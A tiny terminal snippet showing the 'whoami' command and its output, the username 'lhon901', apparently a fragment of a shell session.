$ whoami
lhon901